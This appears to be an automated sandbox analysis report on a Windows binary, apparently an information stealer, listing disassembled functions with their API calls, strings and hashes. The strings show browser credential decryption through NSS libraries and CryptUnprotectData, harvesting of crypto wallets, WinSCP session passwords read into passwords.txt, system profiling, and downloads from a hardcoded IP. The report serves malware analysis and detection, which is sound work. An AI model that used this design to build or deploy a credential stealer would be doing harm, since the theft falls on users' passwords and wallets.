String ID: BitBlt$CharToOemA$CoCreateInstance$CoUninitialize$CreateCompatibleBitmap$CreateCompatibleDC$CreateDCA$DeleteObject$EnumDisplayDevicesA$GetDC$GetDesktopWindow$GetDeviceCaps$GetKeyboardLayoutList$GetSystemMetrics$ReleaseDC$SelectObject$gdi32.dll$ole32.dll$user32.dll$wsprintfA
API String ID: 2238633743-2379150429
Opcode ID: 4610417f5ee5d2a52b906526424e16911f9cd2d082fdb5f36bdc21c1e232c309
Instruction ID: de4495144baa1624ac04cb8e555fe1289a9a557f97568fb46aef666f2f6e74dd
Opcode Fuzzy Hash: 4610417f5ee5d2a52b906526424e16911f9cd2d082fdb5f36bdc21c1e232c309
Instruction Fuzzy Hash: AAA16C75841211EFDB019FE6AE889693EB9FB3970171004BBF90292271EBB94412DF5F

Uniqueness

Uniqueness Score: -1.00%

Function 00404F13, Relevance: 56.6, APIs: 31, Strings: 1, Instructions: 602stringfileCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00404F32
_memset.LIBCMT ref: 00404F61
_memset.LIBCMT ref: 00404F74
_memset.LIBCMT ref: 00404F82
_memset.LIBCMT ref: 00404F90
lstrcpyW.KERNEL32 ref: 00404FA0
lstrcatW.KERNEL32(?,\*.*), ref: 00404FB2
FindFirstFileW.KERNELBASE(?,00000000,?,?,?,?,?,?,?,?,?,?,?,00000018), ref: 00404FC3
lstrcpyW.KERNEL32 ref: 00404FD6
lstrcatW.KERNEL32(?,00486804), ref: 00404FE9
lstrcatW.KERNEL32(?,?), ref: 00404FFA
lstrcpyW.KERNEL32 ref: 0040500A
lstrcatW.KERNEL32(?,00486804), ref: 0040501E
lstrcatW.KERNEL32(?,?), ref: 0040502B
lstrcmpW.KERNEL32(?,00486800,?,?,?,?,?,?,?,?,?,?,?,00000018), ref: 00405042
lstrcmpW.KERNEL32(?,004867F8,?,?,?,?,?,?,?,?,?,?,?,00000018), ref: 00405055
PathMatchSpecW.SHLWAPI(?,00000000,?,?,00000001,00000000,?), ref: 00405120
PathMatchSpecW.SHLWAPI(?,00000000,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040551C

Part of subcall function 00402F8D: _memmove.LIBCMT ref: 00402FAF

Part of subcall function 00460290: CreateFileW.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 004602AB

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00405551

Part of subcall function 00461E3A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00461E6B
Part of subcall function 00461E3A: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 00461E8E

FindNextFileW.KERNELBASE(?,00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0040567A
FindClose.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000018), ref: 0040568B
_memset.LIBCMT ref: 0040569B
_memset.LIBCMT ref: 004056A9
_memset.LIBCMT ref: 004056B7
_memset.LIBCMT ref: 004056C5
_memset.LIBCMT ref: 00405716
_memset.LIBCMT ref: 00405724
_memset.LIBCMT ref: 00405732
_memset.LIBCMT ref: 00405740
FindClose.KERNEL32(00000008,?,?,?,?,?,?,00000000,?,000003E8,00000000,00000001,00000000), ref: 0040574B

Part of subcall function 00404F13: DeleteFileW.KERNEL32(?,00000001,00000000,00000001,00000000,00000001,00000000,00000001,00000000,?,00000001,00000000), ref: 00405227

Strings

\*.*, xrefs: 00404FA6

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _memset$lstrcat$FileFind$lstrcpy$ByteCharCloseMatchMultiPathSpecWidelstrcmp$CreateDeleteFirstH_prolog3NextUnothrow_t@std@@@__ehfuncinfo$??2@_memmove
String ID: \*.*
API String ID: 2798174453-1173974218
Opcode ID: 35613b4611af1d12080f8510816aa7d6db9f6f80026212a40ae3b534614641af
Instruction ID: a9a975aced4b9d9ca6fe8cd0df858cc36f18c231fa796d44566276dd0e8f9028
Opcode Fuzzy Hash: 35613b4611af1d12080f8510816aa7d6db9f6f80026212a40ae3b534614641af
Instruction Fuzzy Hash: BE324B7140028EAEDF21EFA5DC84EEE777CFF54309F14052BE909A6191EB389A44CB19

Uniqueness

Uniqueness Score: -1.00%

Function 0040A5EA, Relevance: 39.3, APIs: 8, Strings: 14, Instructions: 800COMMON

Download Yara Rule

APIs

_strtok.LIBCMT ref: 0040A64E
_strtok.LIBCMT ref: 0040A710

Part of subcall function 00404E80: __EH_prolog3.LIBCMT ref: 00404E87

Part of subcall function 004046B4: _memmove.LIBCMT ref: 004046D6

Part of subcall function 00402CD0: _memmove.LIBCMT ref: 00402CEF

__wgetenv.LIBCMT ref: 0040A876
__wgetenv.LIBCMT ref: 0040A914
GetLogicalDriveStringsA.KERNEL32 ref: 0040AB55
_strtok.LIBCMT ref: 0040AB8A
GetDriveTypeA.KERNEL32(?,00000001,00000000,?,?,?,?,?), ref: 0040ABF0

Part of subcall function 0045F3B7: GetUserNameA.ADVAPI32(?,?), ref: 0045F3EC

Part of subcall function 00462247: MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000011,00000000,00000000,000003E8,?,00000000,?,?,?,0040DF45,?,?,?), ref: 00462276
Part of subcall function 00462247: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?,?,00000000,?,?,?,0040DF45,?,?,?,?), ref: 004622A5

_strtok.LIBCMT ref: 0040AFC7

Strings

LOCALAPPDATA, xrefs: 0040A90B
C:\Users\, xrefs: 0040A7A9, 0040A7B1, 0040A833, 0040A9BD, 0040AAA9
\Documents, xrefs: 0040AAB7
%LOCALAPPDATA%, xrefs: 0040A8D7, 0040A8DC, 0040A903
%DRIVE_FIXED%, xrefs: 0040ABF7, 0040AC30
%C%, xrefs: 0040AE0B, 0040AE54
C:\, xrefs: 0040AE32
%DESKTOP%, xrefs: 0040A975, 0040A97A, 0040A9A1
%DOCUMENTS%, xrefs: 0040AA61, 0040AA66, 0040AA8D
%APPDATA%, xrefs: 0040A839, 0040A83E, 0040A865
.zip, xrefs: 0040AB92
%DRIVE_REMOVABLE%, xrefs: 0040AD02, 0040AD39
APPDATA, xrefs: 0040A86D
\Desktop, xrefs: 0040A9CB

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _strtok$ByteCharDriveMultiWide__wgetenv_memmove$H_prolog3LogicalNameStringsTypeUser
String ID: %APPDATA%$%C%$%DESKTOP%$%DOCUMENTS%$%DRIVE_FIXED%$%DRIVE_REMOVABLE%$%LOCALAPPDATA%$.zip$APPDATA$C:\$C:\Users\$LOCALAPPDATA$\Desktop$\Documents
API String ID: 1597689408-2603015269
Opcode ID: 632270b4dab062be37ade7027298caa1da4555e4327131859afd6fb9126e7969
Instruction ID: b9d34dd97d4348ad34502de30f085cdaf849ac27cdfa78e59730d2519d3a32bf
Opcode Fuzzy Hash: 632270b4dab062be37ade7027298caa1da4555e4327131859afd6fb9126e7969
Instruction Fuzzy Hash: 1662C871900248EEDB14EFA8C946BEE7B78AF15308F14406EF905A71C2DB795B09C7A7

Uniqueness

Uniqueness Score: -1.00%

Function 0040A24D, Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 156fileCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0040A26C
_sprintf.LIBCMT ref: 0040A29D
FindFirstFileA.KERNELBASE(?,00000000,?,?,00000014), ref: 0040A2B0
_sprintf.LIBCMT ref: 0040A300

Part of subcall function 00468A5A: __output_l.LIBCMT ref: 00468AB5

_sprintf.LIBCMT ref: 0040A329

Part of subcall function 00468A5A: __flsbuf.LIBCMT ref: 00468AD0

_sprintf.LIBCMT ref: 0040A338
PathMatchSpecA.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000014), ref: 0040A347
CopyFileA.KERNEL32 ref: 0040A3CB
FindNextFileA.KERNELBASE(?,00000000,?,?,00000014), ref: 0040A42D
FindClose.KERNEL32(?,?,?,00000014), ref: 0040A43E

Strings

%s\*, xrefs: 0040A297
%s\%s, xrefs: 0040A2F3, 0040A2FE, 0040A336

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _sprintf$FileFind$CloseCopyFirstH_prolog3MatchNextPathSpec__flsbuf__output_l
String ID: %s\%s$%s\*
API String ID: 2813418133-2848263008
Opcode ID: de037707581fe692d91e8bce40474dc4f58db580f42c28e03cf008f803adf814
Instruction ID: 82f9decad04bab4e917dc4f009f5a493f308f6b76628a3e7d9caddb8bf6fc6a4
Opcode Fuzzy Hash: de037707581fe692d91e8bce40474dc4f58db580f42c28e03cf008f803adf814
Instruction Fuzzy Hash: CB513171900249EFDF21EFA5CC45BDE7768FB08305F10452BFA09A6281EB7997148B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B048, Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 116networkfileCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0040B052
DeleteUrlCacheEntry.WININET(?), ref: 0040B082
DeleteUrlCacheEntry.WININET(00000000), ref: 0040B0A4
InternetOpenA.WININET(004866C4,00000000,00000000,00000000,00000000), ref: 0040B0BD
InternetConnectA.WININET(?,?,000001BB,00000000,00000000,00000003,04800000,00000000), ref: 0040B0F4
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,04800000,00000000), ref: 0040B118
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040B129
InternetReadFile.WININET(00000000,?,000007FF,?), ref: 0040B147
InternetCloseHandle.WININET(00000000), ref: 0040B15B
InternetCloseHandle.WININET(00000000), ref: 0040B162
InternetCloseHandle.WININET(?), ref: 0040B16E

Part of subcall function 00402CD0: _memmove.LIBCMT ref: 00402CEF

Strings

GET, xrefs: 0040B112

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Internet$CloseHandle$CacheDeleteEntryHttpOpenRequest$ConnectFileH_prolog3_ReadSend_memmove
String ID: GET
API String ID: 893606432-1805413626
Opcode ID: 5a534b22061ef68b816d191cc9b21efa78b250d9decc7942754fe87cdec22290
Instruction ID: c3b1abcb992c8b5f7654b5be7816c1f133f65e6308372d0235e69025ea005b8c
Opcode Fuzzy Hash: 5a534b22061ef68b816d191cc9b21efa78b250d9decc7942754fe87cdec22290
Instruction Fuzzy Hash: A24149B1500118AFEB10EF65CC84AAE77ACFF44344F0485BAF805A7190DB749E84CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 00412D96, Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 161fileCOMMON

Download Yara Rule

APIs

_sprintf.LIBCMT ref: 00412DEC
FindFirstFileA.KERNEL32(?,?), ref: 00412DFF
_sprintf.LIBCMT ref: 00412E50

Part of subcall function 00468A5A: __output_l.LIBCMT ref: 00468AB5

Part of subcall function 004125BF: __EH_prolog3.LIBCMT ref: 004125DE
Part of subcall function 004125BF: GetCurrentDirectoryA.KERNEL32(00000104,?,00000020), ref: 0041260D
Part of subcall function 004125BF: lstrcatA.KERNEL32(?,\temp), ref: 0041261C
Part of subcall function 004125BF: CopyFileA.KERNEL32 ref: 00412629

Part of subcall function 0040EEA6: GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 0040EEE6
Part of subcall function 0040EEA6: lstrcatA.KERNEL32(?,\temp), ref: 0040EEF8
Part of subcall function 0040EEA6: CopyFileA.KERNEL32 ref: 0040EF08
Part of subcall function 0040EEA6: _memset.LIBCMT ref: 0040EF16
Part of subcall function 0040EEA6: _sprintf.LIBCMT ref: 0040EF28
Part of subcall function 0040EEA6: DeleteFileA.KERNEL32(?), ref: 0040EFD2

Part of subcall function 0040EFF0: GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 0040F030
Part of subcall function 0040EFF0: lstrcatA.KERNEL32(?,\temp), ref: 0040F042
Part of subcall function 0040EFF0: CopyFileA.KERNEL32 ref: 0040F052
Part of subcall function 0040EFF0: _memset.LIBCMT ref: 0040F060
Part of subcall function 0040EFF0: _sprintf.LIBCMT ref: 0040F072
Part of subcall function 0040EFF0: DeleteFileA.KERNEL32(?), ref: 0040F122

FindNextFileA.KERNELBASE(?,?), ref: 00412F65
FindClose.KERNEL32(?), ref: 00412F76

Strings

%s\*, xrefs: 00412DE3
History, xrefs: 00412EB9
%s\%s, xrefs: 00412E4A

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: File$_sprintf$CopyCurrentDirectoryFindlstrcat$Delete_memset$CloseFirstH_prolog3Next__output_l
String ID: %s\%s$%s\*$History
API String ID: 1184990043-2206966733
Opcode ID: bd8aec016a80d798792d5ff9926ea5db1f9e8c7c26ff4931919dc8fbce70856b
Instruction ID: 1aa4ff5d384db937c50f6b477bca384b4dd3e3aa4a33c3803cac2ab7634d5304
Opcode Fuzzy Hash: bd8aec016a80d798792d5ff9926ea5db1f9e8c7c26ff4931919dc8fbce70856b
Instruction Fuzzy Hash: C0512972C0024EAECF24EFA1DD44ADE77BDEB08304F10442BF518A7161EB759665DB58

Uniqueness

Uniqueness Score: -1.00%

Function 0045F961, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0045F980
GetKeyboardLayoutList.USER32(00000000,00000000,00000018), ref: 0045F9AD
LocalAlloc.KERNEL32(00000040,00000000), ref: 0045F9BC
GetKeyboardLayoutList.USER32(?,00000000), ref: 0045F9C9
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 0045F9F3
_memset.LIBCMT ref: 0045FA73

Part of subcall function 00404C99: __EH_prolog3.LIBCMT ref: 00404CA0

Part of subcall function 004046B4: _memmove.LIBCMT ref: 004046D6

Part of subcall function 00402CD0: _memmove.LIBCMT ref: 00402CEF

LocalFree.KERNEL32(?), ref: 0045FA92

Strings

/ , xrefs: 0045F9FE

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: H_prolog3KeyboardLayoutListLocal_memmove$AllocFreeInfoLocale_memset
String ID: /
API String ID: 680995659-4001269591
Opcode ID: fca272049d8a64a803fa8726c3363da24dcf8324e2295ad06a9808b788d5f4ee
Instruction ID: ebc50c4569753f4ae8d6dd9b94eee5d4375e5fcf9b0d26fe206f9ec9c13f0136
Opcode Fuzzy Hash: fca272049d8a64a803fa8726c3363da24dcf8324e2295ad06a9808b788d5f4ee
Instruction Fuzzy Hash: F44141B1900209AFDB10EF95C885AEEBBB8FF58305F50442FF905E6281D7785A49CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00465C58, Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 462COMMON

Download Yara Rule

Strings

UT, xrefs: 00465F58

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID:
String ID: UT
API String ID: 0-894488996
Opcode ID: bb1724965f176ccb25a4cb9f98c62046195d56514af30cd75172c467aec00ed8
Instruction ID: 3861737f4131847f7d7681eb4d2b8830ec5397b5b8f4cdf9003779686283e3f4
Opcode Fuzzy Hash: bb1724965f176ccb25a4cb9f98c62046195d56514af30cd75172c467aec00ed8
Instruction Fuzzy Hash: ED02F170A043888BDF25DFA8C8907EE7BB5AF55304F14446FD849AF346E6388945CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040F881, Relevance: 9.1, APIs: 6, Instructions: 86processCOMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0040F8AE

Part of subcall function 0046949E: __FF_MSGBANNER.LIBCMT ref: 004694B7
Part of subcall function 0046949E: __NMSG_WRITE.LIBCMT ref: 004694BE
Part of subcall function 0046949E: RtlAllocateHeap.NTDLL(00000000,00000001,?,00000001,?,?,00467640,00000001,00000000,?,?,?,0046769E,00402DA3), ref: 004694E3

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 0040F8C1
CloseHandle.KERNEL32(00000000,?,0049B0CC,00000000), ref: 0040F8CE
Process32First.KERNEL32(?,?), ref: 0040F8DF
Process32Next.KERNEL32 ref: 0040F940
FindCloseChangeNotification.KERNEL32(?,?,0049B0CC,00000000), ref: 0040F94C

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CloseProcess32$AllocateChangeCreateFindFirstHandleHeapNextNotificationSnapshotToolhelp32_malloc
String ID:
API String ID: 2639979032-0
Opcode ID: 22f4b5f6bdae114b8d5c10163eb0ced01716915019b69af9f9be2de9c0e094e0
Instruction ID: db23c6cec75c505437726e574e49ed5c75040cd14c1b2d0783e8c8df41269829
Opcode Fuzzy Hash: 22f4b5f6bdae114b8d5c10163eb0ced01716915019b69af9f9be2de9c0e094e0
Instruction Fuzzy Hash: 5721BF719042589ADB309FB5DC81BEEBBBAFF15318F20413FD855A7282E7395909CB05

Uniqueness

Uniqueness Score: -1.00%

Function 00442489, Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 468COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 004425BA
_memset.LIBCMT ref: 00442752

Strings

:memory:, xrefs: 004424D4
F@B, xrefs: 004425FA, 0044261C, 004428DF, 004428F2

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: _memmove_memset
String ID: :memory:$F@B
API String ID: 3555123492-33899371
Opcode ID: 87745c7d2c2a4e0775ccd4723815544a4bddde217433c4695f536c5b6078dbd3
Instruction ID: bf3b9ab26e30bf1c6986341982e446c835fadc4d3ba8798bcb033ebbf068b2cb
Opcode Fuzzy Hash: 87745c7d2c2a4e0775ccd4723815544a4bddde217433c4695f536c5b6078dbd3
Instruction Fuzzy Hash: F602BB70A00205DFEB25DF64CA45AAEBBB0FF54304F64416FF855AB252D7B8D980CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0040EBCB, Relevance: 6.0, APIs: 4, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 0040EBEE
LocalAlloc.KERNEL32(00000040,?), ref: 0040EC06
_memmove.LIBCMT ref: 0040EC1B
LocalFree.KERNEL32(?), ref: 0040EC27

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect_memmove
String ID:
API String ID: 3008826695-0
Opcode ID: 2e21a8d27fdfff7232672f31a8928a13f293791f13c93ce0950a323e37e01a9f
Instruction ID: 533385069dfd4ee9e78909f8d5a97e7220bd51e141bcaac38ed2d7d1285ab8c0
Opcode Fuzzy Hash: 2e21a8d27fdfff7232672f31a8928a13f293791f13c93ce0950a323e37e01a9f
Instruction Fuzzy Hash: B30162B6900218AFCB00EFE9DC498DEBBB9FF48704B14486AF901E7210E7759A50CB50

Uniqueness

Uniqueness Score: -1.00%

Function 004625F7, Relevance: 4.6, APIs: 3, Instructions: 72fileCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00462601

Part of subcall function 00462247: MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000011,00000000,00000000,000003E8,?,00000000,?,?,?,0040DF45,?,?,?), ref: 00462276
Part of subcall function 00462247: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,?,?,00000000,?,?,?,0040DF45,?,?,?,?), ref: 004622A5

FindFirstFileW.KERNEL32(00000000,?,?,?,00000298,0040CF5D,?), ref: 0046263A
FindNextFileW.KERNEL32(?,?,00000001,00000000,?,?,00000001,00000000), ref: 004626CB

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: ByteCharFileFindMultiWide$FirstH_prolog3_Next
String ID:
API String ID: 1519118924-0
Opcode ID: e0facc31fb44c86b85d9735f083605fe296d7d7d7841cebcfd0fe1e28310b88d
Instruction ID: 0b87ea419238332d54dcb1d30181f3322be443f13eb6f922783ccfb4c27e5f02
Opcode Fuzzy Hash: e0facc31fb44c86b85d9735f083605fe296d7d7d7841cebcfd0fe1e28310b88d
Instruction Fuzzy Hash: E9314D71D00209AFCB11DFA9C988ADEBBB8AF55304F00859FE415A7251EB789B44CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0045F3B7, Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 0045F3EC

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: c6907cd4de3e453768d3bcc2f7d0c4fd10da72fffc908c6f02f3a07c64c4c03e
Instruction ID: 059437bc8a41031ed9d61808184c1310e00730ced1c43a42cccf6b600875dc7a
Opcode Fuzzy Hash: c6907cd4de3e453768d3bcc2f7d0c4fd10da72fffc908c6f02f3a07c64c4c03e
Instruction Fuzzy Hash: 3FF0FF715102198BDB30DFA8DC45BDDB7F8BB04309F10852ED459E7241DFB866488BA5

Uniqueness

Uniqueness Score: -1.00%

Function 004323AD, Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(0049E224,00000001,0043EC1C,?,00000000,00000104), ref: 004323BD

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: da1c9d006e9c081273fb249626f3c7d2407ebdfce130c93631ec1466ca227e12
Instruction ID: aeef8d2b3daf6a536eec646ab281b3fc14bcb64341fe4a88342e86dab6776c02
Opcode Fuzzy Hash: da1c9d006e9c081273fb249626f3c7d2407ebdfce130c93631ec1466ca227e12
Instruction Fuzzy Hash: 64D0A77278020026FA147269BD07F661486C7C4F00F208C37B100951C9E6D95441C19E

Uniqueness

Uniqueness Score: -1.00%

Function 0040B3EE, Relevance: 176.7, APIs: 46, Strings: 54, Instructions: 1660COMMON

Download Yara Rule

APIs

CreateDirectoryA.KERNEL32(025A1058,00000000,00000001,00000000,00000000), ref: 0040B3F8
SetCurrentDirectoryA.KERNEL32(025A1058), ref: 0040B40B
CreateDirectoryA.KERNEL32(00000000,00000000), ref: 0040B42D

Part of subcall function 0040DB5B: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 0040DB82
Part of subcall function 0040DB5B: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0040DB9E
Part of subcall function 0040DB5B: CloseHandle.KERNEL32(00000000), ref: 0040DBA5

Part of subcall function 00402CD0: _memmove.LIBCMT ref: 00402CEF

Part of subcall function 0040DA1F: _memset.LIBCMT ref: 0040DA29

Part of subcall function 00404C99: __EH_prolog3.LIBCMT ref: 00404CA0

CreateDirectoryA.KERNEL32(00000000,?,?,?,?,00000001,?,?,?,00000001,?,00000001,?,?,?,00000001), ref: 0040B87D
CreateDirectoryA.KERNEL32(00000000,?,?,?,?,?,?,?,00000001,?,?,?,00000001,?,00000001), ref: 0040B8A7
CreateDirectoryA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00000001,?,?,?,00000001), ref: 0040B8D1
CreateDirectoryA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 0040B90B
CreateDirectoryA.KERNEL32(00000000), ref: 0040B935
CreateDirectoryA.KERNEL32(00000000), ref: 0040B967

Strings

Processor: , xrefs: 0040C067
\files\, xrefs: 0040C420
Work Dir: %s , xrefs: 0040BBCD
F, xrefs: 0040C847
C%, xrefs: 0040B44D
Path: %s , xrefs: 0040BB99
\nss3.dll, xrefs: 0040B6EA
Local Time: , xrefs: 0040BF33
\files\Wallets, xrefs: 0040C406
x#, xrefs: 0040B6A2
ccount, xrefs: 0040C671
,, xrefs: 0040B529
\freebl3.dll, xrefs: 0040B543
Keyboard Languages: , xrefs: 0040BEBB
188.34.200.103, xrefs: 0040B504, 0040B595, 0040B622, 0040B6AF, 0040B73C, 0040B7C9, 0040C842, 0040C84D, 0040C852
User Name: , xrefs: 0040BD53
Windows: , xrefs: 0040BC0E
[Processes], xrefs: 0040C230
/msvcp140.dll, xrefs: 0040B61A
*, xrefs: 0040B7EA
CPU Count: , xrefs: 0040C0DF
T,, xrefs: 0040B5B6
\softokn3.dll, xrefs: 0040B777
\mozglue.dll, xrefs: 0040B5D0
Display Language: , xrefs: 0040BE43
Display Resolution: , xrefs: 0040BDCB
GUID: %s, xrefs: 0040BB1F
Version: %s, xrefs: 0040BA9A
logs, xrefs: 0040C815
Computer Name: , xrefs: 0040BCD6
\vcruntime140.dll, xrefs: 0040B804
\files, xrefs: 0040B411, 0040C3C2, 0040C789
/softokn3.dll, xrefs: 0040B734
HWID: %s, xrefs: 0040BB58
/vcruntime140.dll, xrefs: 0040B7C1
/freebl3.dll, xrefs: 0040B4FC
MachineID: %s, xrefs: 0040BAE6
J%, xrefs: 0040B4D0
*.*, xrefs: 0040C77B
/nss3.dll, xrefs: 0040B6A7
\msvcp140.dll, xrefs: 0040B65D
RAM: , xrefs: 0040C157
VideoCard: , xrefs: 0040C1D0
TimeZone: , xrefs: 0040BFAB
[Software], xrefs: 0040C2B6
^", xrefs: 0040B7BC
", xrefs: 0040B72F
files\information.txt, xrefs: 0040BA32
Date: %s, xrefs: 0040BABC
:+, xrefs: 0040B6D0
/mozglue.dll, xrefs: 0040B58D
.zip, xrefs: 0040C704
C:\ProgramData, xrefs: 0040C8FB
[Hardware], xrefs: 0040C010

Memory Dump Source

Source File: 00000019.00000002.470405137.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: CreateDirectory$File$CloseCurrentH_prolog3HandleWrite_memmove_memset
String ID: [Software]$*.*$.zip$/freebl3.dll$/mozglue.dll$/msvcp140.dll$/nss3.dll$/softokn3.dll$/vcruntime140.dll$188.34.200.103$C:\ProgramData$CPU Count: $Computer Name: $Date: %s$Display Language: $Display Resolution: $F$GUID: %s$HWID: %s$Keyboard Languages: $Local Time: $MachineID: %s$Path: %s $Processor: $RAM: $TimeZone: $User Name: $Version: %s$VideoCard: $Windows: $Work Dir: %s $[Hardware]$[Processes]$\files$\files\$\files\Wallets$\freebl3.dll$\mozglue.dll$\msvcp140.dll$\nss3.dll$\softokn3.dll$\vcruntime140.dll$ccount$files\information.txt$logs$ *$:+$C%$J%$T,$^"$x#$"$,
API String ID: 2752366107-80144197
Opcode ID: b8e21d82612c8b4727ae08f7b4a616d873e217a9f84ad5c1cedf6b7795abb49c
Instruction ID: 88b6f0bcc4ccab69488aa743f7a3b3b66addb3fa89cf5dd1017f7a6447548ab9
Opcode Fuzzy Hash: b8e21d82612c8b4727ae08f7b4a616d873e217a9f84ad5c1cedf6b7795abb49c
Instruction Fuzzy Hash: 64D23EB1804148AEEB14EB95DD89EDE7B7CEF15304F0000BEF505B71D2DA785A88DB6A

Uniqueness

Uniqueness Score: -1.00%

Function 004136A5, Relevance: 73.8, APIs: 27, Strings: 15, Instructions: 298registryCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 004136C4
_memset.LIBCMT ref: 004136E4
_memset.LIBCMT ref: 00413704
_memset.LIBCMT ref: 00413718
_memset.LIBCMT ref: 00413726
RegOpenKeyExW.KERNEL32(80000001,Software\Martin Prikryl\WinSCP 2\Configuration,00000000,00000001,?), ref: 0041374C
RegGetValueW.ADVAPI32(?,Security,UseMasterPassword,00000010,00000000,?,?), ref: 00413772
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00000034), ref: 00413784
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00000034), ref: 0041379A
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00000034), ref: 004137AB
RegOpenKeyExW.ADVAPI32(80000001,Software\Martin Prikryl\WinSCP 2\Sessions,00000000,00000009,?), ref: 004137C1
RegEnumKeyExA.ADVAPI32(?,00000000,?,00000104,00000000,00000000,00000000,00000000), ref: 004137E2
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00000034), ref: 004137F8
_fprintf.LIBCMT ref: 00413851
_fprintf.LIBCMT ref: 0041385C
RegGetValueA.ADVAPI32(?,?,HostName,00000002,00000000,?,?,?,00000001,00000000,passwords.txt), ref: 00413881
_fprintf.LIBCMT ref: 00413890
RegGetValueA.ADVAPI32(?,?,PortNumber,0000FFFF,00000000,?,?,?,?,?,?,00000001,00000000,passwords.txt), ref: 004138BC
_fprintf.LIBCMT ref: 004138E4
_fprintf.LIBCMT ref: 004138FF
_fprintf.LIBCMT ref: 0041390C
